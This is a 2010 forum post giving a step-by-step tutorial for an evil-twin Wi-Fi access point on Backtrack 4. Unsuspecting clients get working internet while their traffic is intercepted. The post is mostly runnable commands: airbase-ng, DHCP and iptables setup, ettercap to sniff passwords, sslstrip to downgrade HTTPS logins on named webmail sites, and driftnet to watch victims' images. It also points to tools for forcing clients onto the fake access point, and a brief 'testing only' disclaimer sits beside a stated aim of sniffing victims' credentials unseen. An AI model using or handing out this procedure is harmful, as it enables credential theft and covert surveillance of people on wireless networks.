03-04-2010, 07:42 PM #1

Lucifer
- View Profile
- View Forum Posts

Junior Member

Join Date: Feb 2010
Posts: 75

Lucafa's tutorial: softAP with internet connection and MITM sniffing

last update: 11/03/'10

I will update this tutorial as I find and learn about new interesting MITM tools to use.

PURPOSE OF THIS TUTORIAL:
Setting up a fake AP so clients can connect (or be forced to connect) and surf the internet like on a real AP, while we sniff their data/passwords and such, as we will be the Man In The Middle without the victim(s) knowing.

NOTE: this is for testing purposes only, it's illegal to mess with clients/AP's that don't belong to you, and I will not help if I notice you're doing so.

NEEDED:
- A Backtrack 4 Final distro
(LiveDVD/USB/Harddisk install is recommended, Vmware can cause problems)
- A wireless injection-capable card (preferably with a well supported chipset like RTL8187, RT73, ..)
- A second wired/wireless interface for an internet connection (a wired interface is recommended)
- Semi-advanced Linux/Backtrack/Aircrack suite skills
- Some common sense

I will use mon0 (my monitor interface), and eth1 (internet), CHANGE those to your interfaces. also, you will need to find your internet standard gateway, and DNS name server(s).
(my internet gateway and DNS name server are the same, 192.168.2.1)

STEP 1: Establish an internet connection:
Code:

```
dhclient eth1
```

STEP 2: Start your wireless interface in monitor mode:
(make sure you'll use your monitor interface in step 4!)

Code:

```
airmon-ng start wlan0
```

STEP 3: Configuring the dhcpd.conf:
(on your root directory (deskpage), make a new text file, name it dhcpd.conf open it with kate, and paste this)
Code:

```
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 192.168.2.128 netmask
 255.255.255.128 {
option subnet-mask 255.255.2
55.128;
option broadcast-address 192
.168.2.255;
option routers 192.168.2.129
;
option domain-name-servers 1
92.168.2.129, 192.168.1.1;
}
```

CHANGE the domain-name-server(s) to yours! the rest stays the same. save the file.

STEP 4: Setup fake AP:
(look at this airbase-ng info page to learn how you could setup different types of fake AP's)
Code:

```
airbase-ng -e wifree mon0
```

STEP 5: Assign an IP, netmask, gateway and set route for at0:
(at0 is the TAP interface that's auto-created by airbase)
Code:

```
ifconfig at0 up
ifconfig at0 192.168.2.129 n
etmask 255.255.255.128
route add -net 192.168.2.128
 netmask 255.255.255.128 gw
192.168.2.129
```

STEP 6: Configure and start dhcp3 server:
(so clients who connect to your fake AP will get an IP adress and such)
Code:

```
mkdir -p /var/run/dhcpd && c
hown dhcpd:dhcpd /var/run/dh
cpd
echo > '/var/lib/dhcp3/dhcpd
.leases'
dhcpd3 -d -f -cf /root/dhcpd
.conf -pf /var/run/dhcpd/dhc
pd.pid at0
```

STEP 7: Configure routing tables:
(so an internet connection will be avaible on your softAP)
Code:

```
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delet
e-chain
iptables --table nat --appen
d POSTROUTING --out-interfac
e eth1 -j MASQUERADE
iptables --append FORWARD --
in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTIN
G -p udp -j DNAT --to 192.16
8.2.1
```

CHANGE the standard gateway to your internet standard gateway! and also the interface to your interface with internet connection.

STEP 8: Start MITM tools:

(I will use ettercap, sslstrip, and driftnet, but you can do as you please.)

```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
```

=> STEP 8.1: Change etter.conf file:
(this is necessary for ettercap to function properly)
Code:

```
kate /etc/etter.conf
```

(scroll down the file, search for "Linux", "if you use iptables", "#redir_command_off" and "#redir_command_on", just delete those two "#" signs, that all you need to do, save the file.)

=> STEP 8.2: Start ettercap:
(to sniff passwords and such)
Code:

```
ettercap -T -q -p -i at0 //
//
```

=> STEP 8.3: Start sslstrip:
(to strip down secure https sites the victim visits, like hotmail.com, gmail, .. so the login details can be sniffed)
Code:

```
echo 1 > /proc/sys/net/ipv4/
ip_forward
sslstrip -a -k -f
```

=> STEP 8.4: Start driftnet:
(this will show all the images the victim sees in his browser)
Code:

```
driftnet -v -i at0
```

that's it! if you got all this down, well done.

Now you should learn how airdrop-ng/mdk3 works to force clients(victims) to connect to your fake AP, so you can sniff their data.

If you followed this tutorial correctly, your fake AP should be almost as fast like your real AP, at least, mine always is.
I cannot tell the difference between surfing on the fake and on my real AP, but on the fake, everything gets sniffed

note that I am still a semi-noob myself, it could be that some of the commands I provided aren't 100% correct, but this is just the way I do it.
I had to figure it all out by myself, looking at other tutorials and piecing the puzzle together, and it's working amazingly well for me.